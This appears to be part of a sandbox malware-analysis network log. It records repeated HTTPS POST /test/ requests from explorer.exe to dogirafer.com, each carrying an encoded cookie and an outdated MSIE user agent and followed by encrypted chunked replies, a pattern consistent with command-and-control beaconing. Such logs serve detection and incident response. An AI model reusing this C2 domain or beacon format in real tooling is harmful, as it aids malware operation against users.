2024-12-02 17:46:31 UTC	339	IN	Data Raw: 31 34 63 0d 0a 4f 53 69 64 52 63 4f 31 33 6f 70 6c 59 68 33 63 67 32 37 67 67 33 42 49 4d 6b 50 56 44 43 48 43 61 50 75 37 74 69 58 4c 5a 6d 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 72 4a 6b 45 70 66 35 50 6b 37 46 59 6e 41 4c 53 2f 73 4f 30 49 73 35 47 72 6f 63 41 36 67 69 4a 56 47 32 46 50 35 6f 2b 64 43 7a 5a 79 61 6d 34 44 44 55 58 69 70 59 53 4e 44 32 6a 45 71 79 6f 62 4d 49 77 4e 35 62 67 76 31 6b 37 33 39 76 79 5a 48 54 41 77 74 67 37 2b 4a 42 7a 48 45 4d 77 77 42 65 6e 69 54 68 55 52 61 62 66 4a 65 58 52 68 34 59 42 45 35 6c 72 65 44 33 5a 46 68 45 73 30 4e 31 38 4e 63 72 47 36 4a 66 6e 6c 63 6e 6a 42 4e 6d 71 74 55 58 33 56 4e 78 52 58 4e 43 33 74 31 78 74 79 54 62 51 43 79 38 4b 5a 6e 4f 39 59 49 74 47 65 35 50 48 5a 4f 2f 42 57 52 4a Data Ascii: 14cOSidRcO13oplYh3cg27gg3BIMkPVDCHCaPu7tiXLZmmcphSGpB6yiJiVjA1rJkEpf5Pk7FYnALS/sO0Is5GrocA6giJVG2FP5o+dCzZyam4DDUXipYSND2jEqyobMIwN5bgv1k739vyZHTAwtg7+JBzHEMwwBeniThURabfJeXRh4YBE5lreD3ZFhEs0N18NcrG6JfnlcnjBNmqtUX3VNxRXNC3t1xtyTbQCy8KZnO9YItGe5PHZO/BWRJ
2024-12-02 17:46:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50029	104.21.68.89	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:46:33 UTC	414	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hlZQqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw== User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: dogirafer.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:46:35 UTC	790	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:46:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M6T7cV66UKhIP2A%2B%2BbCh6ZjJDIAIiJj99OPEdaDMTYrfMPneEg37XX4RX7twrBmr%2BpiWJ7GRFTGyLWegjIuEbEjcfmpNwnFr%2Fc2Elu383Rg%2BNB2swj%2BkBrX4U8J2XRvP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd231a0fe8ac52-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14114&min_rtt=14113&rtt_var=5296&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1052&delivery_rate=206696&cwnd=32&unsent_bytes=0&cid=9e41d15889808328&ts=1606&x=0"
2024-12-02 17:46:35 UTC	343	IN	Data Raw: 31 35 30 0d 0a 4f 43 69 5a 52 38 57 79 32 59 70 6b 5a 42 6a 62 68 47 4c 6a 67 33 46 47 50 6b 76 55 42 53 4c 43 61 50 6d 33 75 69 62 50 59 6d 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 6e 49 6b 51 76 66 5a 53 4f 67 46 67 6c 44 37 43 34 74 65 30 4e 75 35 4b 6e 70 38 6f 36 67 69 68 57 46 47 46 50 36 73 48 73 44 47 6c 31 64 48 45 73 51 51 6e 32 75 59 53 4a 44 43 48 52 71 33 63 4d 4e 4a 6b 63 34 72 38 34 78 55 4b 30 75 2f 43 62 58 32 73 68 6f 41 6d 6c 42 68 76 34 47 73 6b 78 42 65 50 71 4b 58 4d 57 5a 62 50 44 66 6e 59 72 71 34 4e 48 35 6c 50 5a 41 42 41 70 67 55 34 37 4e 6c 73 4b 50 4d 43 39 65 76 37 37 62 56 65 4d 65 33 36 78 55 58 6e 57 66 67 46 58 66 79 62 6c 32 51 42 68 53 72 63 56 6c 34 2b 56 6e 71 30 44 4d 38 65 5a 76 39 50 65 42 66 56 53 52 35 Data Ascii: 150OCiZR8Wy2YpkZBjbhGLjg3FGPkvUBSLCaPm3uibPYmmcphSGpB6yiJiVjA1nIkQvfZSOgFglD7C4te0Nu5Knp8o6gihWFGFP6sHsDGl1dHEsQQn2uYSJDCHRq3cMNJkc4r84xUK0u/CbX2shoAmlBhv4GskxBePqKXMWZbPDfnYrq4NH5lPZABApgU47NlsKPMC9ev77bVeMe36xUXnWfgFXfybl2QBhSrcVl4+Vnq0DM8eZv9PeBfVSR5
2024-12-02 17:46:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50030	104.21.68.89	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:46:36 UTC	414	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hlZAqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw== User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: dogirafer.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:46:38 UTC	783	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:46:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T3KYhObr9uFrh3c2sxCBf2Gt5KdGG%2BALxtlIc0jcGjkx41TTUMhZ22XU13KEcYNnJUaYipWum4VYFyHA0stakA%2Bn0ajvURsNrFb%2BjoQ1rtFoADzHk9wdrknOgsbVKEiz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd232c3848efa7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1806&min_rtt=1805&rtt_var=680&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1052&delivery_rate=1605277&cwnd=137&unsent_bytes=0&cid=205daadc4796b238&ts=1640&x=0"
2024-12-02 17:46:38 UTC	343	IN	Data Raw: 31 35 30 0d 0a 4f 79 57 61 52 73 53 36 32 49 70 76 59 68 6a 59 68 57 37 70 67 33 35 4a 50 45 72 51 44 53 6a 43 5a 2f 79 78 76 43 37 46 5a 57 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 70 4a 45 59 71 63 35 54 6e 37 46 67 67 41 62 4b 34 75 61 64 47 75 70 61 6d 70 38 38 33 35 45 35 51 48 6d 56 4f 36 63 61 6c 66 57 34 71 63 32 38 7a 62 6b 57 36 72 5a 69 4a 43 43 4b 59 76 6e 64 52 49 35 30 4a 38 37 67 2f 30 6c 47 34 2b 4c 32 58 58 53 6c 36 73 52 2b 69 58 54 6e 2f 4b 63 45 31 42 65 33 68 4b 52 56 2b 62 62 62 41 65 58 59 73 34 73 74 43 37 56 62 63 44 52 31 41 37 45 45 35 4f 56 73 4a 4f 49 7a 4d 66 61 48 38 63 30 69 6a 4e 6a 4f 6c 54 58 6e 53 66 55 68 43 66 32 33 75 30 51 35 36 57 62 41 57 67 4e 50 59 6b 71 39 42 61 4e 61 50 75 49 6a 38 41 73 31 51 51 4a Data Ascii: 150OyWaRsS62IpvYhjYhW7pg35JPErQDSjCZ/yxvC7FZWmcphSGpB6yiJiVjA1pJEYqc5Tn7FggAbK4uadGupamp8835E5QHmVO6calfW4qc28zbkW6rZiJCCKYvndRI50J87g/0lG4+L2XXSl6sR+iXTn/KcE1Be3hKRV+bbbAeXYs4stC7VbcDR1A7EE5OVsJOIzMfaH8c0ijNjOlTXnSfUhCf23u0Q56WbAWgNPYkq9BaNaPuIj8As1QQJ
2024-12-02 17:46:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	50031	104.21.68.89	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:46:39 UTC	414	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hlawqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw== User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: dogirafer.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:46:41 UTC	789	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:46:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JWsv%2FLWXirzNUI3XbAGT7%2F7z6lRNVI0ozPHww0Euk6Ah2WLpWH3t9Buw%2BBFKgoJRDVZYQBRPGJvopTCgl9TfA%2By%2B%2B8eVqL43oXKdEToOK2Fkqp8XWwCutAVIm8FT9c20"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd233f4ee90cb8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1547&min_rtt=1547&rtt_var=581&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1052&delivery_rate=1881443&cwnd=162&unsent_bytes=0&cid=7badd79a26a36872&ts=1660&x=0"
2024-12-02 17:46:41 UTC	339	IN	Data Raw: 31 34 63 0d 0a 50 69 71 62 51 63 47 30 32 6f 70 75 5a 78 6a 52 6a 47 66 69 67 33 64 4a 4f 6b 50 55 41 43 6a 43 62 66 6d 7a 75 43 54 4f 5a 6d 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 72 49 30 59 73 66 70 66 6d 37 46 59 6c 44 37 61 33 73 61 46 47 75 35 47 71 6f 73 34 34 35 45 35 56 47 57 42 4b 36 4d 71 69 66 57 34 71 63 32 38 7a 62 6b 57 36 72 5a 69 4a 43 43 4b 59 76 6e 64 52 49 35 30 4a 38 37 67 2f 30 6c 47 34 2b 4c 32 58 58 53 6c 36 73 52 2b 69 58 54 6e 2f 4b 63 30 79 44 65 76 69 49 68 35 2b 5a 62 37 4a 65 58 6b 72 35 38 74 42 35 6c 54 55 44 42 68 43 37 45 30 37 4e 31 4d 4e 50 34 2f 4d 66 61 48 38 63 30 69 6a 4e 6a 4f 6c 54 58 6e 53 66 55 68 43 66 32 33 75 30 51 35 36 57 62 41 57 67 4e 50 59 6b 71 39 42 61 4e 61 50 75 49 6a 38 41 73 31 58 51 5a Data Ascii: 14cPiqbQcG02opuZxjRjGfig3dJOkPUACjCbfmzuCTOZmmcphSGpB6yiJiVjA1rI0Ysfpfm7FYlD7a3saFGu5Gqos445E5VGWBK6MqifW4qc28zbkW6rZiJCCKYvndRI50J87g/0lG4+L2XXSl6sR+iXTn/Kc0yDeviIh5+Zb7JeXkr58tB5lTUDBhC7E07N1MNP4/MfaH8c0ijNjOlTXnSfUhCf23u0Q56WbAWgNPYkq9BaNaPuIj8As1XQZ
2024-12-02 17:46:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50032	104.21.68.89	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:46:42 UTC	414	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hlagqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw== User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: dogirafer.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:46:44 UTC	799	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:46:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wkeejO%2FlYRiM1ZYZoo%2FVhtVj5i3z2hIN515H%2BYPbInWXJzh08B%2BMnIYgcsN%2B7W2kd9oBPqu18ZPeoANhOsBkS%2BZOL%2FFz4qqLmzsivWoJ9oKod57adti%2BFi2h%2F%2ByowM%2Bq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd2351fd8c5e67-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1710&min_rtt=1706&rtt_var=648&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1052&delivery_rate=1676234&cwnd=242&unsent_bytes=0&cid=693ae9fa1a78aedf&ts=1611&x=0"
2024-12-02 17:46:44 UTC	347	IN	Data Raw: 31 35 34 0d 0a 4f 53 32 59 51 63 4b 33 32 49 70 75 59 42 33 65 6a 57 2f 6c 67 33 56 4a 4d 6b 4c 58 42 53 50 43 5a 2f 71 36 76 69 66 46 5a 57 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 6e 4a 6b 38 6f 66 5a 4c 6a 37 46 30 6c 41 62 61 36 73 4b 64 47 73 5a 61 72 6f 73 34 38 36 55 35 58 47 32 74 4d 37 63 47 6e 66 57 34 71 63 32 38 7a 62 6b 57 36 72 5a 69 4a 43 43 4b 59 76 6e 64 52 49 35 30 4a 38 37 67 2f 30 6c 47 34 2b 4c 32 58 58 53 6c 36 73 52 2b 69 58 54 6e 2f 4b 63 45 7a 42 65 4c 6b 49 52 78 2b 61 4c 44 44 65 58 49 71 35 73 74 4f 36 6c 66 63 41 52 78 4f 37 45 30 2b 4d 46 4d 49 4f 59 76 4d 66 61 48 38 63 30 69 6a 4e 6a 4f 6c 54 58 6e 53 66 55 68 43 66 32 33 75 30 51 35 36 57 62 41 57 67 4e 50 59 6b 71 39 42 61 4e 61 50 75 49 6a 38 41 73 31 58 52 35 Data Ascii: 154OS2YQcK32IpuYB3ejW/lg3VJMkLXBSPCZ/q6vifFZWmcphSGpB6yiJiVjA1nJk8ofZLj7F0lAba6sKdGsZaros486U5XG2tM7cGnfW4qc28zbkW6rZiJCCKYvndRI50J87g/0lG4+L2XXSl6sR+iXTn/KcEzBeLkIRx+aLDDeXIq5stO6lfcARxO7E0+MFMIOYvMfaH8c0ijNjOlTXnSfUhCf23u0Q56WbAWgNPYkq9BaNaPuIj8As1XR5
2024-12-02 17:46:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	50033	104.21.68.89	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:46:45 UTC	414	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hiYwqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw== User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: dogirafer.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:46:47 UTC	779	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:46:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kSiYWGiFWhMOV6M3eMbVa0pmJV8xEODq5tgFZoliNhhDnvdENMjH6oBJEI3EwZ2I3FK1tqDLXRyQvqwLs2MQ2dEfk1jNK6tqIniSXl1enP9y3i3j6rKarATyY6UpXl%2FS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd23646ec7c443-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1621&min_rtt=1539&rtt_var=636&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1052&delivery_rate=1897335&cwnd=241&unsent_bytes=0&cid=9a78b244faaeb510&ts=1622&x=0"
2024-12-02 17:46:47 UTC	343	IN	Data Raw: 31 35 30 0d 0a 50 69 6d 65 52 73 4b 79 32 49 70 6c 5a 52 58 61 68 32 4f 73 79 33 4a 4e 50 55 76 55 44 55 36 73 61 50 36 33 74 69 58 50 4b 52 69 62 37 78 75 50 6f 41 32 31 6a 34 62 55 69 7a 52 70 4a 30 45 6f 66 35 61 4f 68 56 77 6a 43 37 61 36 74 65 30 44 73 70 4b 74 6f 4d 6f 39 67 69 52 54 46 57 70 4d 35 38 62 73 44 47 6c 31 64 48 45 73 51 51 6e 32 75 59 53 4a 44 43 48 52 71 33 63 4d 4e 4a 6b 63 34 72 38 34 78 55 4b 30 75 2f 43 62 58 32 73 68 6f 41 6d 6c 42 68 76 34 45 73 34 79 41 75 33 6c 4a 6e 4d 5a 62 37 50 46 66 6e 63 72 71 34 4e 41 37 46 50 5a 44 78 41 70 67 45 6f 36 4e 56 38 4d 50 4d 43 39 65 76 37 37 62 56 65 4d 65 33 36 78 55 58 6e 57 66 67 46 58 66 79 62 6c 32 51 42 68 53 72 63 56 6c 34 2b 56 6e 71 30 44 4d 38 65 5a 76 39 50 65 42 66 35 57 52 5a Data Ascii: 150PimeRsKy2IplZRXah2Osy3JNPUvUDU6saP63tiXPKRib7xuPoA21j4bUizRpJ0Eof5aOhVwjC7a6te0DspKtoMo9giRTFWpM58bsDGl1dHEsQQn2uYSJDCHRq3cMNJkc4r84xUK0u/CbX2shoAmlBhv4Es4yAu3lJnMZb7PFfncrq4NA7FPZDxApgEo6NV8MPMC9ev77bVeMe36xUXnWfgFXfybl2QBhSrcVl4+Vnq0DM8eZv9PeBf5WRZ
2024-12-02 17:46:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	50034	104.21.68.89	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:46:48 UTC	414	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hiYgqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw== User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: dogirafer.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:46:50 UTC	781	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:46:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=heyWE44VIX7FXhSSLnaw013XgzPiOVY7GFF2cIFfImTSF1roGcqvbDzbmMPfrBVVuEB7BVe20M%2FgJQ6Ve3F6hna744aM7RE8m1SivvrqUCrUmMJpbxT7S0%2FevLCPJajL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd237679c77c9f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1851&min_rtt=1835&rtt_var=700&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1052&delivery_rate=1591280&cwnd=213&unsent_bytes=0&cid=6392fa63b2e1eabc&ts=1586&x=0"
2024-12-02 17:46:50 UTC	339	IN	Data Raw: 31 34 63 0d 0a 50 69 32 64 54 4d 47 33 30 59 70 69 5a 78 6a 52 67 6d 2f 6c 67 33 4e 48 50 6b 37 55 41 69 54 43 5a 2f 69 78 75 69 62 4e 5a 47 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 74 4a 30 55 76 65 70 48 70 37 46 63 68 44 4c 65 2f 74 4b 6c 47 74 4a 57 71 72 63 30 2b 67 69 52 52 47 47 5a 4f 36 59 2b 64 43 7a 5a 79 61 6d 34 44 44 55 58 69 70 59 53 4e 44 32 6a 45 71 79 6f 62 4d 49 77 4e 35 62 67 76 31 6b 37 33 39 76 79 5a 48 54 41 77 74 67 37 2b 4a 42 7a 4b 46 38 41 78 42 75 6e 6a 54 68 51 55 5a 4c 58 47 65 6a 30 73 35 49 4e 48 36 56 76 66 5a 78 46 45 67 55 73 38 4d 56 78 45 41 37 62 6c 49 75 66 36 58 54 57 4d 49 6e 61 74 56 58 36 63 49 68 51 63 50 79 58 6a 7a 41 68 31 54 71 4e 65 68 73 36 62 33 72 52 4a 4e 4e 62 46 78 76 62 6d 50 76 56 52 54 70 Data Ascii: 14cPi2dTMG30YpiZxjRgm/lg3NHPk7UAiTCZ/ixuibNZGmcphSGpB6yiJiVjA1tJ0UvepHp7FchDLe/tKlGtJWqrc0+giRRGGZO6Y+dCzZyam4DDUXipYSND2jEqyobMIwN5bgv1k739vyZHTAwtg7+JBzKF8AxBunjThQUZLXGej0s5INH6VvfZxFEgUs8MVxEA7blIuf6XTWMInatVX6cIhQcPyXjzAh1TqNehs6b3rRJNNbFxvbmPvVRTp
2024-12-02 17:46:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50035	104.21.68.89	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:46:51 UTC	414	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hiYQqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw== User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: dogirafer.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:46:53 UTC	790	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:46:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tdJb9sdgogknPXgn9RFARrhW9ZsLvJyrteszeZ04yogeVyBsll8eTU6L3Dh%2FqyS4YVwJFiNU%2BjopnvEEygpqxE%2BU%2BbMe%2Bdjj3nCNIi%2BjvcbPydtAZXaVZR21jFpvNNxF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd23898a5baad4-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14428&min_rtt=14425&rtt_var=5417&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1052&delivery_rate=202006&cwnd=32&unsent_bytes=0&cid=39ec9e2138476c09&ts=1747&x=0"
2024-12-02 17:46:53 UTC	343	IN	Data Raw: 31 35 30 0d 0a 50 79 69 55 52 73 71 77 33 59 70 6a 61 68 6a 5a 67 47 62 6d 67 33 35 47 50 6b 2f 52 42 69 6e 43 62 76 79 7a 76 69 2f 4d 59 57 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 73 4c 6b 45 70 66 35 54 6e 37 46 6b 67 44 37 61 32 74 4b 56 47 73 4a 43 6e 70 73 67 37 37 45 35 51 47 32 5a 46 36 34 2b 64 43 7a 5a 79 61 6d 34 44 44 55 58 69 70 59 53 4e 44 32 6a 45 71 79 6f 62 4d 49 77 4e 35 62 67 76 31 6b 37 33 39 76 79 5a 48 54 41 77 74 67 37 2b 4a 42 7a 48 46 63 41 35 41 2b 50 6b 54 68 6f 51 61 37 54 48 65 6e 4e 68 34 34 39 41 37 6c 48 5a 43 33 5a 48 67 45 30 2f 4e 46 73 42 63 72 47 36 4a 66 6e 6c 63 6e 6a 42 4e 6d 71 74 55 58 33 56 4e 78 52 58 4e 43 33 74 31 78 74 79 54 62 51 43 79 38 4b 5a 6e 4f 39 59 49 74 47 65 35 50 48 5a 4e 2f 56 58 51 35 Data Ascii: 150PyiURsqw3YpjahjZgGbmg35GPk/RBinCbvyzvi/MYWmcphSGpB6yiJiVjA1sLkEpf5Tn7FkgD7a2tKVGsJCnpsg77E5QG2ZF64+dCzZyam4DDUXipYSND2jEqyobMIwN5bgv1k739vyZHTAwtg7+JBzHFcA5A+PkThoQa7THenNh449A7lHZC3ZHgE0/NFsBcrG6JfnlcnjBNmqtUX3VNxRXNC3t1xtyTbQCy8KZnO9YItGe5PHZN/VXQ5
2024-12-02 17:46:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50036	104.21.68.89	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:46:54 UTC	414	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hiYAqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw== User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: dogirafer.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:46:56 UTC	786	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:46:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WnGEuaNLvNh5b2m4PiNYC84Rl0sGdyZsKkvVZsMehhIYHDF%2Fxlc%2FMQ%2FiQ8Eu8DtlQqgIS8deKQkerk2hM3TUx8jIlt3m5KcfMG4jz4gHpRrRY50%2BdJUJFhG5jCzUSFiJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd239c3dddac8a-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13861&min_rtt=13755&rtt_var=5370&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1052&delivery_rate=199931&cwnd=32&unsent_bytes=0&cid=8a9cb9049ad6492a&ts=1594&x=0"
